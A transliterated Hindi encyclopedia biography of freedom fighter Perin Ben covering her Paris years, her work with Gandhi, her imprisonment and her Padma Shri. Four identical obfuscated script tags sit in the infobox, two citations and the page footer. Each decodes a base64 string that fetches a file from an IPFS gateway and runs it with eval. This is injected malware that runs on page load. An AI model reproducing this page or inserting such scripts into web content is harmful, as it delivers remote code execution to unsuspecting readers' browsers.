पेरीन बेन
perin ben
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| poora nam | perin ben |
| janm | 12 aktoobar 1888 |
| janm bhoomi | kachchh zila, gujarat |
| mrityu | 17 faravari, 1958 |
| nagarikata | bharatiy |
| prasiddhi | kraantikari evan gaandhi ji ki anuyayi. |
| jel yatra | 1930 v 1932 mean |
| puraskar-upadhi | padm shri |
| any janakari | perin ben ne 'gaandhi seva sena' ke sachiv ke roop mean kam kiya aur 1935 mean sthapit 'hindustani prachar sabha' ke kam mean bhi ju di rahi thian. |
| adyatan | 15:35, 5 janavari 2017 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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perin ben (aangrezi: Perin Ben, janm- 12 aktoobar, 1888, zila kachchh , gujarat; mrityu- 17 faravari, 1958) pahale kraantikari aur bad mean mahatma gaandhi ki anuyayi thian. ve desh ki svatantrata ke lie kam karati thian. 1930, 1932 mean perin ben ko giraphtar karake jel mean dal diya gaya tha. muanbee pradesh kaangres ki sangharsh samiti ki ve pratham mahila adhyaksh thian. perin ben ne 'gaandhi seva sena' ke sachiv ke roop mean kam kiya. svatantrata ke aranbhik varshoan mean rashtrapati dvara perin ben ko 'padmashri' se sammanit kiya gaya tha.[1] perin ben suprasiddh british bharat ke ek parasi buddhijivi, shikshashastri, kapas ke vyapari tatha arambhik rajanaitik evan samajik neta dadabhaee nauroji ki pautri thian. unhoanne apane sabhi aisho-aram maan bharati ki svatantrata ke lie prati samarpit kar die the.
parichay
kraantikari perin ben ka janm 12 aktoobar, 1888 ee. ko kachchh riyasat ke maandavi kasbe mean hua tha. vah bharat ke parasi buddhijivi aur shikshashastri tatha arambhik rajanaitik evan samajik neta dadabhaee nauroji ki pautri thian. dadabhaee nauroji ko bharat ka vayovriddh purush kaha jata hai. dadabhaee nauroji vah vyakti the, jinase prabhavit hokar mahatma gaandhi ne svarajy ke lie apane pran tak nyochhavar kar die. dadabhaee nauroji ki poti hone ke karan hi kahian n kahian perin ben ke rakt mean hi svarajy ki bhavana vidyaman ho chuki thi. halaanki ve bharat mean shiksha prapt karane ke bad age ke adhyayan ke lie peris geean. 1925 mean perin ben ne dhunajisha es. kaipten se vivah kiya, jo ek vakil the. vivah ke bad bhi ve rajanitik gatividhiyoan mean sakriy rahian.[2]
svatantrata santram ki shuruat
is peris yatra ne perin ben ke jivan ki disha hi mo d di. peris mean padhaee ke dauran unaki bheant madam bhikhaee ji kama, lala haradayal, shyamaji krishna varma jaise kraantikariyoan se huee. jab aangrez purtagal ke samudr mean vir savarakar ko le ja rahe the, vah kood kar bhag ge the.
darasal 1 julaee 1909 ko madanalal dhiangara ne viliyam hat karjan vayali ko goli mar di thi, jis par vir savarakar ne landan taims mean ek lekh likha tha aur jab vah 13 mee 1910 ko peris se landan pahuanche to unhean giraftar kar liya gaya; parantu 8 julaee 1910 ko es.es. moriya namak jahaj se jab unhean bharat le jaya ja raha tha, tab vah sivar hol ke raste bhag nikale. british sarakar unhean pak dane ke lie vyakul ho uthi aur unaki khoz mean lag gee. vir savarakar ko bachane ka prayas kar rahe kraantikariyoan mean peris ben bhi shamil ho geean aur yahaan se shuroo huee unaki svatantrata sangram ki yatra.
gaandhiji ki anuyayi
san 1911 mean perin ben bharat aeean aur unhean yahaan aangrezoan ke hathoan bhedabhav ka b da apamanajanak anubhav hua. 1919 mean perin ben ki mahatma gaandhi se bheant hueean aur ve gaandhi ji ki anuyayi ho geean. perin ben ne ‘videshi chho do svadeshi apanao’ ke gaandhiji ke abhiyan ka anusaran karate hue khadi ke vastr pahanana shuroo kar diya. vah khadi ke prachar aur harijan uddhar ke karyoan mean jut geean. svadeshi ka prachar, mady nishedh aur mahilaoan ko sangathit karana perin ben ke priy vishay ban ge the. san 1921 mean perin ben ne gaandhivadi adarshoan par adharit auratoan ke abhiyan, rashtriy stri sabha ke gathan mean mahatvapoorn yogadan diya.[2]
1930 mean ve b aaumbe (ab muanbee) praantiy kaangres kamiti ki adhyaksh pad ke lie chuni jane vali pahali mahila banian. unhoanne mahatma gaandhi dvara shuroo kiye gaye asahayog aandolan mean bhag liya aur jisake chalate unhean 1930 mean giraphtar karake jel mean dal diya gaya tha. 1932 mean jel se mukt hone ke bad perin ben ne ‘gaandhi seva sena’ ke sachiv ke roop mean kam kiya aur 1935 mean sthapit ‘hindustani prachar sabha’ ke kam mean bhi ju d geean. muanbee pradesh kaangres ki sangharsh samiti ki ve pratham mahila adhyaksh thian.
padmashri
svatantrata ke aranbhik varshoan mean rashtrapati ne perin ben ko padmashri se sammanit bhi kiya.
nidhan
17 pharavari, 1958 ko perin ben ka dehaant ho gaya.
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tika tippani aur sandarbh
- ↑ bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |sankalan: bharatakosh pustakalay |prishth sankhya: 480 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 2.0 2.1 peris ne badali di perin ki disha aur kood p dian svatantrata aandolan mean (hiandi) yuvapress.com. abhigaman tithi: 14 aktoobar, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>